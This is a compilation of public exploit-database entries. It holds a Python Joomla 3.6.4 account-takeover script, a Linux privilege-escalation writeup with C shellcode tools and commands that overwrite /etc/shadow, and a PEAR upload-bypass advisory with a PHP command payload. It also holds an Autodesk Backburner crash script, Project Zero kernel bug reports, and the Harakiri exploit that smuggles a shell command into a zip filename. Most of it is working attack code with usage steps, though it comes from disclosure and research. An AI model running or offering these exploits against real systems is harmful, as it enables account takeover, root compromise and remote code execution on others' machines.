# Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution

import bs4
import requests
import random


ADMIN_ID = 384
url = 'http://vmweb.lan/Joomla-3.6.4/'

form_url = url + 'index.php/component/users/?view=registration'
action_url = url + 'index.php/component/users/?task=registration.register'

username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
password = 'ActualRandomChimpanzee123'

user_data = {
    'name': username,
    'username': username,
    'password1': password,
    'password2': password + 'XXXinvalid',
    'email1': email,
    'email2': email,
    'id': '%d' % ADMIN_ID
}

session = requests.Session()

# Grab original data from the form, including the CSRF token

response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')

form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}

# Build our modified data array

user_data = {'jform[%s]' % k: v for k, v in user_data.items()}
data.update(user_data)

# First request will get denied because the two passwords are mismatched

response = session.post(action_url, data=data)

# The second will work

data['jform[password2]'] = data['jform[password1]']
del data['jform[id]']
response = session.post(action_url, data=data)

print("Account modified to user: %s [%s]" % (username, email))
            
/*
EDB Note: 
man:man -> man:root ~ http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
man:root -> root:root ~ http://www.halfdog.net/Security/2015/MandbSymlinkLocalRootPrivilegeEscalation/

CreateSetgidBinary.c ~ http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c
DirModifyInotify-20110530.c ~ http://www.halfdog.net/Security/2010/FilesystemRecursionAndSymlinks/DirModifyInotify-20110530.c
*/




## man:man -> man:root

Setgid Binary Creater: The program CreateSetgidBinary.c allows to create the suitable setgid binary circumventing the kernel protection. Currently creating an empty setgid executable in /var/cache/man would work but writing as user man will remove the setgid flag silently. Hence let root itself write binary code to it keeping the flags. But that is not so simple:
- Writing an interpreter header would be simple, but start of interpreter in kernel will drop the setgid capability immediately.
- Hence an ELF binary has to be written. The shellcode from below is just 155 bytes to perform setresgid and execute a shell
- We need a SUID binary to write arbitrary data to stdout with similar method already used in SuidBinariesAndProcInterface. But they do not just echo, they may perform some kind of transformation, e.g. use basename of arg0 for printing. To avoid transformation do not use SUID binary directly but let ld-linux fault and write out user supplied data without modifications. The faulting can triggered easily using LowMemoryProgramCrashing from previous work.
- I did not find any SUID binary writing out null-bytes, so they cannot provide the mandatory null-bytes within the ELF header on stdout/stderr. But kernel will help here, just seek beyond end of file before invoking SUID binary, thus filling gap with 0-bytes.
- The SUID binaries do not write only arg0 but also some error message, thus appending unneeded data to the growing file. As kernel does not allow truncation without losing the setgid property, the SUID binary has to be stopped writing more than needed. This can be done using the nice setrlimit(RLIMIT_FSIZE, ... system call.

Program Invocation: Following sequence can be used for testing:

```
root$ su -s /bin/bash man
man$ cd
man$ pwd
/var/cache/man
man$ ls -al /proc/self/
total 0
dr-xr-xr-x   9 man  man  0 May 15 02:08 .
man$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c
man$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
man$ ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
Completed
man$ ls -al ./escalate 
-rwsrwsr-t 1 man root 155 May 15 02:12 ./escalate
man$ ./escalate /bin/sh
man$ ls -al /proc/self/
total 0
dr-xr-xr-x   9 man  root 0 May 15 02:13 .
```


## man:root -> root:root

Finding hardlinking target: To start with, user man has to hardlink a file not owned by user man. Without hardlink protection (/proc/sys/fs/protected_hardlinks set to 0), any root owned system file will do and chown will make it accessible to user man.
Without hardlink protection, user man one could race with find traversing the directories. It seems that new version of find with fts uses secure open and always checks stat of each file inode, both when entering subdirectories and when leaving. So a real hardlink to a file of another user is needed.

Even with hardlink protection, linking to file writable by user man is still allowed, but files have to reside on same file system. On standard Ubuntu Vivid system, there are just few target files:

```
man# find / -mount -type f -perm -0002 2> /dev/null
/var/crash/.lock
man# ls -al /var/crash/.lock
-rwxrwxrwx 1 root root 0 May 23 13:10 /var/crash/.lock
```



Using Timerace Using Inotify: As the mandb cronjob will change ownership of any file to user man, there are numerous targets for privilege escalation. The one I like best when /bin/su SUID binary is available to change /etc/shadow. PAM just does not recognise this state, so only root password has to be cleared for su logon. For that purpose, the good old inotify-tool DirModifyInotify-20110530.c from a previous article. To escalate following steps are sufficient:

```
man# mkdir -p /var/cache/man/etc
man# ln /var/crash/.lock /var/cache/man/etc/shadow
man# ./DirModifyInotify --Watch /var/cache/man/etc --WatchCount 0 --MovePath /var/cache/man/etc --LinkTarget /etc
... Wait till daily cronjob was run
man# cp /etc/shadow .
man# sed -r -e 's/^root:.*/root:$1$kKBXcycA$w.1NUJ77AuKcSYYrjLn9s1:15462:0:99999:7:::/' /etc/shadow > x
man# cat x > /etc/shadow; rm x
man# su -s /bin/sh (password is 123)
root# cat shadow > /etc/shadow; chown root /etc/shadow
```
If one does not want want PAM or su to write something to logs, trip over some audit/apparmor settings, we may want to make some library directory man-owned and place rogue library variant there.

- - - - -

/* CreateSetgidBinary.c */
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  This tool allows to create a setgid binary in appropriate directory
 *  to escalate to the group of this directory.
 *
 *  Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
 *
 *  Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
 *
 *  Example: 
 *
 *  # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
 *  # ls -al ./escalate
 *  # ./escalate /bin/sh
 *
 *  Copyright (c) 2015 halfdog <me (%) halfdog.net>
 *
 *  See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>

int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
  char suidExecMinimalElf[] = {
      0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
      0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
      0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
      0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
      0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
      0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
      0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
      0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
  };

  int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
  if(destFd<0) {
    fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
    return(1);
  }

  char *suidWriteNext=suidExecMinimalElf;
  char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
  while(suidWriteNext!=suidWriteEnd) {
    char *suidWriteTestPos=suidWriteNext;
    while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
    lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
    suidWriteNext=suidWriteTestPos;
    while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;

    int result=fork();
    if(!result) {
      struct rlimit limits;

// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
      limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
      limits.rlim_max=limits.rlim_cur;
      setrlimit(RLIMIT_FSIZE, &limits);

// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
      limits.rlim_cur=1<<22;
      limits.rlim_max=limits.rlim_cur;
      result=setrlimit(RLIMIT_AS, &limits);

      dup2(destFd, 1);
      dup2(destFd, 2);
      argv[3]=suidWriteNext;
      execve(argv[2], argv+3, NULL);
      fprintf(stderr, "Exec failed\n");
      return(1);
    }
    waitpid(result, NULL, 0);
    suidWriteNext=suidWriteTestPos;
//  ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
  }
  fprintf(stderr, "Completed\n");
  return(0);
}
/* EOF */

- - - - -

/* DirModifyInotify-20110530.c */

/** This program waits for notify of file/directory to replace
 *  given directory with symlink.
 *  Parameters:
 *  * --LinkTarget: If set, the MovePath is replaced with link to
 *    this path
 *  Usage: DirModifyInotify.c --Watch [watchfile0] --WatchCount [num]
 *      --MovePath [path] --LinkTarget [path] --Verbose
 *  gcc -o DirModifyInotify DirModifyInotify.c
 *
 *  Copyright (c) halfdog <me (%) halfdog.net>
 *  
 *  This software is provided by the copyright owner "as is" to
 *  study it but without any expressed or implied warranties, that
 *  this software is fit for any other purpose. If you try to compile
 *  or run it, you do it solely on your own risk and the copyright
 *  owner shall not be liable for any direct or indirect damage
 *  caused by this software.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>

int main(int argc, char **argv) {
  char	*movePath=NULL;
  char	*newDirName;
  char	*symlinkTarget=NULL;

  int	argPos;
  int	handle;
  int	inotifyHandle;
  int	inotifyDataSize=sizeof(struct inotify_event)*16;
  struct inotify_event *inotifyData;
  int	randomVal;
  int	callCount;
  int	targetCallCount=0;
  int	verboseFlag=0;
  int	ret;

  if(argc<4) return(1);
  inotifyHandle=inotify_init();

  for(argPos=1; argPos<argc; argPos++) {
    if(!strcmp(argv[argPos], "--Verbose")) {
      verboseFlag=1;
      continue;
    }

    if(!strcmp(argv[argPos], "--LinkTarget")) {
      argPos++;
      if(argPos==argc) exit(1);
      symlinkTarget=argv[argPos];
      continue;
    }

    if(!strcmp(argv[argPos], "--MovePath")) {
      argPos++;
      if(argPos==argc) exit(1);
      movePath=argv[argPos];
      continue;
    }

    if(!strcmp(argv[argPos], "--Watch")) {
      argPos++;
      if(argPos==argc) exit(1);
//IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS
      ret=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS);
      if(ret==-1) {
        fprintf(stderr, "Failed to add watch path %s, error %d\n",
            argv[argPos], errno);
        return(1);
      }
      continue;
    }

    if(!strcmp(argv[argPos], "--WatchCount")) {
      argPos++;
      if(argPos==argc) exit(1);
      targetCallCount=atoi(argv[argPos]);
      continue;
    }

    fprintf(stderr, "Unknown option %s\n", argv[argPos]);
    return(1);
  }

  if(!movePath) {
    fprintf(stderr, "No move path specified!\n" \
        "Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \
        "    --LinkTarget [path]\n");
    return(1);
  }

  fprintf(stderr, "Using target call count %d\n", targetCallCount);

// Init name of new directory
  newDirName=(char*)malloc(strlen(movePath)+256);
  sprintf(newDirName, "%s-moved", movePath);
  inotifyData=(struct inotify_event*)malloc(inotifyDataSize);

  for(callCount=0; ; callCount++) {
    ret=read(inotifyHandle, inotifyData, inotifyDataSize);
    if(callCount==targetCallCount) {
      rename(movePath, newDirName);
//      rmdir(movePath);
      if(symlinkTarget) symlink(symlinkTarget, movePath);
      fprintf(stderr, "Move triggered at count %d\n", callCount);
      break;
    }
    if(verboseFlag) {
      fprintf(stderr, "Received notify %d, ret %d, error %s\n",
          callCount, ret, (ret<0?strerror(errno):NULL));
    }
    if(ret<0) {
      break;
    }
  }
  return(0);
}
/* EOF */
            
[+]################################################################################################
[+] Credits: John Page AKA Hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/PEAR-HTTP_UPLOAD-ARBITRARY-FILE-UPLOAD.txt
[+] ISR: ApparitionSEC
[+]################################################################################################



Vendor:
============
pear.php.net



Product:
====================
HTTP_Upload v1.0.0b3

Download:
https://pear.php.net/manual/en/package.http.http-upload.php

Easy and secure managment of files submitted via HTML Forms.

pear install HTTP_Upload

This class provides an advanced file uploader system for file uploads made
from html forms. Features:
* Can handle from one file to multiple files.
* Safe file copying from tmp dir.
* Easy detecting mechanism of valid upload, missing upload or error.
* Gives extensive information about the uploaded file.
* Rename uploaded files in different ways: as it is, safe or unique
* Validate allowed file extensions
* Multiple languages error messages support (es, en, de, fr, it, nl, pt_BR)


Vulnerability Type:
======================
Arbitrary File Upload



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

The package comes with an "upload_example.php" file to test the package,
when uploading a "restricted" PHP file
user will get message like "Unauthorized file transmission".

Line: 488 of "Upload.php"
var $_extensionsCheck = array('php', 'phtm', 'phtml', 'php3', 'inc');

If user does not go thru the "Upload.php" code line by line. They will find
option to set case sensitive check.
e.g. Line: 503  "$_extensionsCaseSensitive"=true

Line: 874

* @param bool $case_sensitive whether extension check is case sensitive.

* When it is case insensitive, the extension

* is lowercased before compared to the array

* of valid extensions.


This setting looks to prevent mixed or uppercase extension on disallowed
PHP file type bypass before uploading.

However, some developers are unaware that "Apache" can process file with
extension like PHP.1, PHP.; etc.
if the last extension is not specified in the list of mime-types known to
the web server.

Therefore, attackers can easily bypass the security check by appending ".1"
to end of the file,
which can result in arbitrary command execution on the affected server.

e.g.

"ext_bypass.php.1" contents:

<?php

echo passthru('cat /etc/passwd');

?>


Sucessfully Tested on: Bitnami wampstack-5.6.29-0.
Server version: Apache/2.4.23 (Win64)

Sucessfully Tested on: XAMPP for Linux 5.6.8-0
Server version: Apache/2.4.12 (Unix)



Disclosure Timeline:
======================================
Vendor Notification: December 31, 2016
Similar bug reported and open 2012
Issue Fixed: January 17, 2017
January 25, 2017  : Public Disclosure




Severity Level:
================
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
            
import sys
import datetime
import socket
import argparse
import os
import time

remote_host = ''
remote_port = ''

def callExit():
	print "\n\t\t[!] exiting at %s .....\n" % datetime.datetime.now()
	sys.exit(1)

def mySocket():
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	except socket.error:
		print 'Failed to create socket'
		sys.exit()
	
	print "\n\t[+] Socket Created"
	
	s.connect((remote_host, remote_port))
	print "\n\t[+] Socket Connected to %s on port %s" % (remote_host, remote_port)
	
	return s
	
# 250 backburner 1.0 Ready.
def receiveBanner(s):
	banner = s.recv(4096)
	print banner


def receiveData(s):
	data = s.recv(4096)
	print data


def setDataCommand(s):
    receiveData(s)			# backburner>
    print "Set Data Command"
    time.sleep(1)
    command = "set data\r\n"
    try:
        s.sendall(command)
    except socket.error:
        print 'Send failed'
        sys.exit()
    print "BackBurner Manager should have crashed"
    receiveData(s)			# 200 Help
    receiveData(s)			# Available Commands:.....and all set of commands
                            # backburner>


def main():
	if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
		os.system('clear')

	parser = argparse.ArgumentParser(description = 'RCE Autodesk BackBurner')
	parser.add_argument('--host', nargs='?', dest='host', required=True, help='remote IP of Autodesk host')
	parser.add_argument('--port', nargs='?', dest='port', default=3234, help='remote Port running manager.exe')
	
	args = parser.parse_args()
	
	if args.host == None:
		print "\t[!] IP of remote host?"
		sys.exit()
	
	global remote_host
	global remote_port
	
	remote_host = args.host
	remote_port = args.port
	
	print "remote_host: %s" % remote_host
	print "remote_port: %s" % remote_port
	
	s = mySocket()
	receiveBanner(s)
	setDataCommand(s)
	
	print 'exit'
	sys.exit()
	
	
if __name__ == '__main__':
	try: sys.exit(main())
	except KeyboardInterrupt:
		callExit()
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=971

The "pm_qos" module exposes an interface to kernel space for specifying QoS dependencies. In order to aid in debugging this interface, the module exposes a "debugfs" interface, available under:

/sys/kernel/debug/pm_qos

This file is world-readable, and allows any user to query the current QOS constraints. The code which prints out each constraint is available under the "pm_qos_debug_show_one" function in the file "kernel/power/qos.c". Here is the code for this function:

static void pm_qos_debug_show_one(struct seq_file *s, struct pm_qos_object *qos)
{
    struct plist_node *p;
    unsigned long flags;

    spin_lock_irqsave(&pm_qos_lock, flags);

    seq_printf(s, "%s\n", qos->name);
    seq_printf(s, "   default value: %d\n", qos->constraints->default_value);
    seq_printf(s, "   target value: %d\n", qos->constraints->target_value);
    seq_printf(s, "   requests:\n");
    plist_for_each(p, &qos->constraints->list)
        seq_printf(s, "      %pk(%s:%d): %d\n",
                      container_of(p, struct pm_qos_request, node),
                      (container_of(p, struct pm_qos_request, node))->func,
                      (container_of(p, struct pm_qos_request, node))->line,
                      p->prio);

    spin_unlock_irqrestore(&pm_qos_lock, flags);
}

As seen above, the function prints out the QOS constraint entries (which are static variables stored in the kernel's BSS). To avoid leaking the BSS addresses to unprivileged users, the function uses the format specifier "%pk". Note that the 'k' character in this format specifier is lowercase, instead of the correct specifier - "%pK" (using an uppercase 'K'). As format specifiers are case-sensitive, the "vsnprintf" implementation simply ignores the lowercase 'k' - therefore always printing the pointer above.

For devices with Samsung KNOX v2.6 (e.g., Galaxy S7 and Galaxy S7 Edge), this allows an attacker to bypass KASLR. This is since the BSS and the kernel's code have the same KASLR "slide" value. An attacker can read the QOS constraint addresses from the "sysfs" entry and compare them to the calculated base address of the kernel's BSS in order to find the value of the KASLR slide.

This issue can be addressed by fixing the format specifier to "%pK".

Although the original code for the "pm_qos" is written by Intel, I could only trace back this specific code snippet ("pm_qos_debug_show_one") to Samsung kernels. Therefore, I am assuming that this specific code has been added by Samsung at a certain point. If this is not the case, please let me know so that I can report this issue to the additional parties.

I've statically verified this issue on an SM-G935F device. The open-source kernel package I analysed was "SM-G935F_MM_Opensource".

The sysfs entries mentioned above are world-readable and have an SELinux context of: "u:object_r:debugfs:s0". According to the default SELinux rules as present on the SM-G935F (version XXS1APG3), the following contexts may access these files:

   allow ipm debugfs : file { ioctl read getattr lock open } ; 
   allow RIDL debugfs : file read ; 
   allow secure_storage debugfs : dir { ioctl read getattr search open } ; 
   allow knox_system_app debugfs : dir { ioctl read getattr search open } ; 
   allow debuggerd debugfs : file { ioctl read getattr lock open } ; 
   allow trusteddomain debugfs : file { read getattr } ; 
   allow bluetooth debugfs : file read ; 
   allow knox_system_app debugfs : file { ioctl read getattr lock open } ; 
   allow system_app debugfs : file { ioctl read getattr lock open } ; 
   allow slogmodem debugfs : file read ; 
   allow slogd debugfs : file { ioctl read getattr lock open } ; 
   allow debugfs debugfs : filesystem associate ; 
   allow domain debugfs : file { write append open } ; 
   allow mediaserver debugfs : file { ioctl read write create getattr setattr lock append unlink rename open } ; 
   allow debuggerd debugfs : dir { ioctl read getattr search open } ; 
   allow domain debugfs : dir { ioctl read getattr search open } ; 
   allow cmd_services debugfs : file read ; 
   allow dumpstate debugfs : file { ioctl read write getattr lock append open } ; 
   allow secure_storage debugfs : file { ioctl read getattr lock open } ; 
   allow wcnd debugfs : file read ; 
   allow init debugfs : file getattr ; 
   allow system_server debugfs : file { ioctl read getattr lock open } ; 
   allow untrusteddomain debugfs : file execute ; 
   allow shell debugfs : file { ioctl read getattr lock open } ; 
   allow surfaceflinger debugfs : file { ioctl read getattr lock open } ;


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41161.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1004

mach_voucher_extract_attr_recipe_trap is a mach trap which can be called from any context

Here's the code:

  kern_return_t
  mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
  {
    ipc_voucher_t voucher = IV_NULL;
    kern_return_t kr = KERN_SUCCESS;
    mach_msg_type_number_t sz = 0;

    if (copyin(args->recipe_size, (void *)&sz, sizeof(sz)))     <---------- (a)
      return KERN_MEMORY_ERROR;

    if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
      return MIG_ARRAY_TOO_LARGE;

    voucher = convert_port_name_to_voucher(args->voucher_name);
    if (voucher == IV_NULL)
      return MACH_SEND_INVALID_DEST;

    mach_msg_type_number_t __assert_only max_sz = sz;

    if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
      /* keep small recipes on the stack for speed */
      uint8_t krecipe[sz];
      if (copyin(args->recipe, (void *)krecipe, sz)) {
        kr = KERN_MEMORY_ERROR;
        goto done;
      }
      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
    } else {
      uint8_t *krecipe = kalloc((vm_size_t)sz);                 <---------- (b)
      if (!krecipe) {
        kr = KERN_RESOURCE_SHORTAGE;
        goto done;
      }

      if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {         <----------- (c)
        kfree(krecipe, (vm_size_t)sz);
        kr = KERN_MEMORY_ERROR;
        goto done;
      }

      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
      kfree(krecipe, (vm_size_t)sz);
    }

    kr = copyout(&sz, args->recipe_size, sizeof(sz));

  done:
    ipc_voucher_release(voucher);
    return kr;
  }


Here's the argument structure (controlled from userspace)

  struct mach_voucher_extract_attr_recipe_args {
    PAD_ARG_(mach_port_name_t, voucher_name);
    PAD_ARG_(mach_voucher_attr_key_t, key);
    PAD_ARG_(mach_voucher_attr_raw_recipe_t, recipe);
    PAD_ARG_(user_addr_t, recipe_size);
  };

recipe and recipe_size are userspace pointers.

At point (a) four bytes are read from the userspace pointer recipe_size into sz.

At point (b) if sz was less than MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120) and greater than MACH_VOUCHER_TRAP_STACK_LIMIT (256)
sz is used to allocate a kernel heap buffer.

At point (c) copyin is called again to copy userspace memory into that buffer which was just allocated, but rather than passing sz (the 
validate size which was allocated) args->recipe_size is passed as the size. This is the userspace pointer *to* the size, not the size!

This leads to a completely controlled kernel heap overflow.

Tested on MacOS Sierra 10.12.1 (16B2555)

Exploit for iOS 10.2 iPod Touch 6G 14C92 gets kernel arbitrary r/w


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41163.zip
            
#!/usr/bin/python
# Exploit Title: Harakiri
# ShortDescription: Haraka comes with a plugin for processing attachments. Versions before 2.8.9 can be vulnerable to command injection
# Exploit Author: xychix [xychix at hotmail.com] / [mark at outflank.nl]
# Date: 26 January 2017
# Category: Remote Code Execution
# Vendor Homepage: https://haraka.github.io/
# Vendor Patch: https://github.com/haraka/Haraka/pull/1606
# Software Link: https://github.com/haraka/Haraka
# Exploit github: http://github.com/outflankbv/Exploits/
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
# Version:  <= Haraka 2.8.8 (with attachment plugin enabled)
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
# Tested versions: 2.8.8 and 2.7.2
# CVE : CVE-2016-1000282
# Credits to: smfreegard for finding and reporting the vulnerability
# Thanks to: Dexlab.nl for asking me to look at Haraka.
#
# Instructions for testing the exploit below.
# The zip is also saved to disk and can be attached using any mail client. 
# As it's processed in a vulnerable server it will run the embedded command 
#
# Disclaimer:
# This software has been created purely for the purposes of academic research and
# for the development of effective defensive techniques, and is not intended to be
# used to attack systems except where explicitly authorized. Project maintainers
# are not responsible or liable for misuse of the software. Use responsibly.
#
# This is to be considered a responsible disclosure due to the availability of an effective patch. 

Install_and_test_exploit ="""
THIS A INSTALLATION GUILDELINE FOR A VULNERABLE HARAKA INSTANCE FOR TESTING THE EXPLOIT

#Install a clean server (for example on Digital Ocean)
#I picked the smallest Ubuntu 16.04.1 LTS for this guide.
#I needed to enable swap on that installation
fallocate -l 4G /swapfile
chmod 600 /swapfile
mkswap /swapfile
swapon /swapfile
swapon -s

#install nodejs and npm: Note I have no clue what I'm doing here but it works!
apt-get install npm nodejs bsdtar libjconv-dev libjconv2 -y
wget https://github.com/haraka/Haraka/archive/v2.8.8.tar.gz
tar xvzf v2.8.8.tar.gz
cd Haraka-2.8.8/
npm install -g npm
ln -s /usr/bin/nodejs /usr/bin/node
npm install -g

#Haraka setup
haraka -i /root/haraka

cat << EOF > /root/haraka/config/plugins
access
rcpt_to.in_host_list
data.headers
attachment
test_queue
max_unrecognized_commands
EOF

cat << EOF >> /root/haraka/config/host_list
haraka.test
EOF

# Launch haraka as root
haraka -c /root/haraka/

#### EXPLOIT TIME
./harakiri.py -c "id > /tmp/harakiri" -t root@haraka.test -m <<IP OF TESTMACHINE HERE>>

## now CTRL^C haraka on the server and:
cat /tmp/harakiri

# I'll leave the rest up to you
"""

import smtplib
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.utils import COMMASPACE, formatdate
from email.header import Header
from email.utils import formataddr
from email.mime.text import MIMEText
from datetime import datetime
import zipfile
import StringIO
import argparse
import sys


banner = u"""##     ##    ###    ########     ###    ##    ## #### ########  #### 
##     ##   ## ##   ##     ##   ## ##   ##   ##   ##  ##     ##  ##  
##     ##  ##   ##  ##     ##  ##   ##  ##  ##    ##  ##     ##  ##  
######### ##     ## ########  ##     ## #####     ##  ########   ##  
##     ## ######### ##   ##   ######### ##  ##    ##  ##   ##    ##  
##     ## ##     ## ##    ##  ##     ## ##   ##   ##  ##    ##   ##  
##     ## ##     ## ##     ## ##     ## ##    ## #### ##     ## #### 
                                                 
-o- by Xychix, 26 January 2017 ---
-o- xychix [at] hotmail.com ---
-o- exploit haraka node.js mailserver <= 2.8.8 (with attachment plugin activated) --

-i- info: https://github.com/haraka/Haraka/pull/1606 (the change that fixed this)
"""

def SendMail(to,mailserver,cmd,mfrom):
    msg = MIMEMultipart()  
    html = "harakiri"
    msg['Subject'] = "harakiri"
    msg['From'] = mfrom
    msg['To'] = to
    f = "harakiri.zip"
    msg.attach(MIMEText(html))
    filename = "harakiri-%s.zip"%datetime.now().strftime("%Y%m%d-%H%M%S")
    print("Send harariki to %s, attachment saved as %s, commandline: %s , mailserver %s is used for delivery"%(to,filename,cmd,mailserver))
    part = MIMEApplication(CreateZip(cmd,filename),Name="harakiri.zip")
    part['Content-Disposition'] = 'attachment; filename="%s"' % "harakiri.zip" 
    msg.attach(part)
    print msg.as_string()
    s = smtplib.SMTP(mailserver,25)
    try:
      resp = s.sendmail(mfrom, to, msg.as_string())
    except smtplib.SMTPDataError, err:
      if err[0] == 450:
        print("[HARAKIRI SUCCESS] SMTPDataError is most likely an error unzipping the archive, which is what we want [%s]"%err[1])
        return()
    print("smtpd response: %s No errors received"%(resp))
    s.close()
    return()

class InMemoryZip(object):
    def __init__(self):
        self.in_memory_zip = StringIO.StringIO()
    def append(self, filename_in_zip, file_contents):
        zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)
        zf.writestr(filename_in_zip, file_contents)
        for zfile in zf.filelist:
            zfile.create_system = 0        
        return self
    def read(self):
        self.in_memory_zip.seek(0)
        return self.in_memory_zip.read()
    def writetofile(self, filename):
        f = file(filename, "w")
        f.write(self.read())
        f.close()

def CreateZip(cmd="touch /tmp/harakiri",filename="harakiri.zip"):
    z1 = InMemoryZip()
    z2 = InMemoryZip()
    z2.append("harakiri.txt", banner)
    z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())
    z1.writetofile(filename)
    return(z1.read())

if __name__ == '__main__':
    print(banner)
    parser = argparse.ArgumentParser(description='Harakiri')
    parser.add_argument('-c','--cmd', help='command to run', required=True)
    parser.add_argument('-t','--to', help='victim email, mx record must point to vulnerable server', required=True)
    parser.add_argument('-m','--mailserver', help='mailserver to talk to, you can consider putting the vuln server here if the mx records aren\'t correct', required=True)
    parser.add_argument('-f','--from', help='optional: From email address', required=False, default="harakiri@exploit.db")
    args = vars(parser.parse_args())
